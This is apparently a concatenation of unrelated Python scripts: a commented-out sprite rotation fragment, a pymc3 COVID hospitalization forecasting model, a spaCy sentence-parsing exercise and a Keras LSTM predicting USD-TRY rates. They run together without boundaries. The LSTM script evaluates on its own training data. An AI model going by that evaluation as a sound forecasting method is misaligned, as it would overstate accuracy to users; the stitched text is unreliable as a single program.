                    int(start + (amount_of_numbers - 1) * step))  # end
        return numbers

    # def rotate(self, w, a, s, d):
    #     if a:
    #         self.Player_Sprite.rotation = -90
    #     elif d:
    #         self.Player_Sprite.rotation = 90
    #     if w:
    #         if a:
    #             self.Player_Sprite.rotation = -45
    #         elif d:
    #             self.Player_Sprite.rotation = 45
    #         else:
    #             self.Player_Sprite.rotation = 0
    #     elif s:
    #         if a:
    #             self.Player_Sprite.rotation = -135
    #         elif d:
    #             self.Player_Sprite.rotation = 135
    #         else:
    #             self.Player_Sprite.rotation = 180


'''
multi_site_gar.py
-----------------
'''

import pymc3 as pm
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import theano.tensor as tt
import os
import scipy
from datetime import date
from datetime import timedelta

from GenPoisson import GenPoisson
from plot_forecasts import plot_forecasts

''' PREP DATA '''
input_files = os.listdir('../mass_dot_gov_datasets')
input_files.sort()
H = len(input_files)
col_name = 'hospitalized_total_covid_patients_suspected_and_confirmed_including_icu'

F = 14
T = []
y_tr = []
y_va = []
y_te = []
dates = []

for filename in input_files:
    df = pd.read_csv(f'../mass_dot_gov_datasets/{filename}')
    counts = df[col_name].astype(float)
    dates.append(df['date'].values)
    y_te.append(counts[-F:])
    y_va.append(counts[-2*F:-F])
    y_tr.append(counts[:-2*F])
    T.append(len(counts) - 2*F)

''' TRAIN ON TRAIN+VALID '''
W = 1

with pm.Model() as model:
    bias = pm.Normal('beta[0]', mu=0, sigma=0.1)
    beta_recent = pm.Normal('beta[1]', mu=1, sigma=0.1)
    rho = [bias, beta_recent]
    for i in range(2, W+1):
        beta = pm.Normal(f'beta[{i}]', mu=0, sigma=0.1)
        rho.append(beta)
    tau = pm.HalfNormal('tau', sigma=0.1)

    f = []
    y_past = []
    y_past_logp = []
    lam = []

    for i in range(H):
        f.append(pm.AR(f'f[{i}]', rho, sigma=tau, constant=True, shape=T[i]+2*F))
        lam.append(pm.TruncatedNormal(f'lam[{i}]', mu=0, sigma=0.3, lower=-1, upper=1))
        y_past.append(GenPoisson(f'y_past[{i}]', theta=tt.exp(f[i][:-F]), lam=lam[i],
                                 observed=np.concatenate((y_tr[i], y_va[i]))))
        y_past_logp.append(pm.Deterministic(f'y_past_logp[{i}]', y_past[i].logpt))

    trace = pm.sample(5000, tune=2000, chains=2, cores=1, target_accept=0.99,
                      init='adapt_diag', max_treedepth=15, random_seed=42)

summary = pm.summary(trace)['mean'].to_dict()
for i in range(W+1):
    print(f'beta[{i}]', summary[f'beta[{i}]'])
print('tau', summary['tau'])
for i in range(H):
    print(f'lambda[{i}]', summary[f'lam[{i}]'])
print()

var_names = ['tau']
for i in range(H):
    var_names.append(f'lam[{i}]')
pm.traceplot(trace, var_names=var_names)
plt.savefig(f'multi_site_gar/traceplot.pdf')
plt.close()

print(f'Training Scores on Train+Valid')
print('------------------------------')
for i in range(H):
    print(input_files[i])
    print(np.log(np.mean(np.exp(trace.get_values(f'y_past_logp[{i}]', chains=0)))) / (T[i]+F))
    print(np.log(np.mean(np.exp(trace.get_values(f'y_past_logp[{i}]', chains=1)))) / (T[i]+F))
    print()

''' HELDOUT SCORING ON TEST SET'''
with model:
    y_future = []
    y_logp = []
    for i in range(H):
        y_future.append(GenPoisson(f'y_future[{i}]', theta=tt.exp(f[i][-F:]), lam=lam[i], observed=y_te[i]))
        y_logp.append(pm.Deterministic(f'y_logp[{i}]', y_future[i].logpt))
    logp_list = pm.sample_posterior_predictive(trace, vars=y_logp, keep_size=True)

print(f'Heldout Scores on Test Set')
print('--------------------------')
for i in range(H):
    print(input_files[i])
    logp_samples = logp_list[f'y_logp[{i}]'][0]
    scores = np.zeros(10)
    for j in range(10):
        scores[j] = np.log(np.mean(np.exp(logp_samples[500*j : 500*j+500]))) / F
    print(f'Chain 1: {np.mean(scores)} ± {scipy.stats.sem(scores)}')
    logp_samples = logp_list[f'y_logp[{i}]'][1]
    scores = np.zeros(10)
    for j in range(10):
        scores[j] = np.log(np.mean(np.exp(logp_samples[500*j : 500*j+500]))) / F
    print(f'Chain 2: {np.mean(scores)} ± {scipy.stats.sem(scores)}')
    print()

''' HELDOUT FORECASTS ON TEST SET'''
with model:
    for i in range(H):
        y_pred = GenPoisson(f'y_pred[{i}]', theta=tt.exp(f[i][-F:]), lam=lam[i], shape=F, testval=1)
        samples = pm.sample_posterior_predictive(trace, vars=[y_pred], keep_size=True, random_seed=42)
        fig, ax = plt.subplots(figsize=(8,6))
        ax.set_title(f'Site-Specific Lambda Heldout Forecasts W={W}')
        start = date.fromisoformat(dates[i][-1]) - timedelta(F-1)
        plot_forecasts(samples[f'y_pred[{i}]'][0], start, ax, y_va[i], y_te[i], future=False)
        fig.savefig(f'multi_site_gar/{input_files[i][:-4]}.pdf')
        plt.close()


import spacy

nlp = spacy.load ('en_core_web_sm')

with open ('../NLP/UPDATED_NLP_COURSE/TextFiles/owlcreek.txt') as f:
    doc = nlp(f.read())

# print(len(doc))

# phrase_list = []

frases = [sent for sent in doc.sents]

print(len(frases))

# for i in doc.sents:
#     phrase_list.append(i)

# print(len(phrase_list))

print(frases[2])

# doc2 = nlp(frases[2])

for i in frases[2]:
    print(f'{i.text:{12}}{i.pos_:<{10}}{i.dep_:<{10}}{i.lemma_}')


"""
    RNN
"""

import numpy as np
import pandas as pd
import matplotlib.pyplot as plt

# Part 1 -  Data Preprocessing
dataset = pd.read_csv("usd_try.csv")
X = dataset.iloc[:,3:4].values.copy()

#scaling but this time we use normalization.
from sklearn.preprocessing import MinMaxScaler
sc = MinMaxScaler(feature_range=(0,1))
X = sc.fit_transform(X)#normilzed between zero and one.

#bu kısım t-1,t,t+1' i simile etmewk için eklendi.
step = 60
def split(X):
    #creating a data structure with 60 timesteps and 1 output.
    length = len(X)
    X_train = []
    y_train = []
    for j in range(step, length):
        X_train.append(X[j-step:j,0])
        y_train.append(X[j, 0])
    X_train = np.array(X_train)
    y_train = np.array(y_train)

    #reshaping
    X_train = np.reshape(X_train, (X_train.shape[0], X_train.shape[1], 1))
    return X_train, y_train

X_train, y_train = split(X.copy())

#building RNN
from keras.models import Sequential
from keras.layers import Dense
from keras.layers import LSTM, CuDNNLSTM
from keras.layers import Dropout

regressor = Sequential()

#lets add some LSTM layers.
regressor.add(CuDNNLSTM(units=250, return_sequences=True, input_shape= (X_train.shape[1], 1)))#eğer başka LSTM layer' ları ekleyteceksen bu True olmalı. units = nöronlar.
regressor.add(Dropout(0.2))

#regressor.add(CuDNNLSTM(units=200, return_sequences=True))#eğer başka LSTM layer' ları ekleyteceksen bu True olmalı.
#regressor.add(Dropout(0.2))

regressor.add(CuDNNLSTM(units=150, return_sequences=True))#eğer başka LSTM layer' ları ekleyteceksen bu True olmalı.
regressor.add(Dropout(0.2))

#regressor.add(CuDNNLSTM(units=100, return_sequences=True))#eğer başka LSTM layer' ları ekleyteceksen bu True olmalı.
#regressor.add(Dropout(0.2))

regressor.add(CuDNNLSTM(units=50, return_sequences=True))
regressor.add(Dropout(0.2))

regressor.add(CuDNNLSTM(units=25))
regressor.add(Dropout(0.2))

#adding the output layer
regressor.add(Dense(units=1))

#lets compile the RNN
regressor.compile(optimizer="adam", loss = "mean_squared_error")

#Fitting the RNN to the training set
regressor.fit(X_train, y_train, epochs=100, batch_size=32)

X_test = X_train.copy()
predicted_stock_price = regressor.predict(X_test)
predicted_stock_price = sc.inverse_transform(predicted_stock_price)

real_stock_price =  dataset.iloc[:,3:4].values.copy()

# Visualising the results
plt.plot(real_stock_price, color = 'red', label = 'Real Usd-Try')
plt.plot(predicted_stock_price, color = 'blue', label = 'Predicted Usd-Try')
plt.title('Usd-Try Prediction')
plt.xlabel('Time')
plt.ylabel('Usd-Try')
plt.legend()
plt.show()

X_test = X_train[len(X_train)-1:len(X_train),:].copy()
#X_test = np.reshape(X_test, (1, X_test.shape[0], X_test.shape[1]))
y_pred = sc.inverse_transform(regressor.predict(X_test))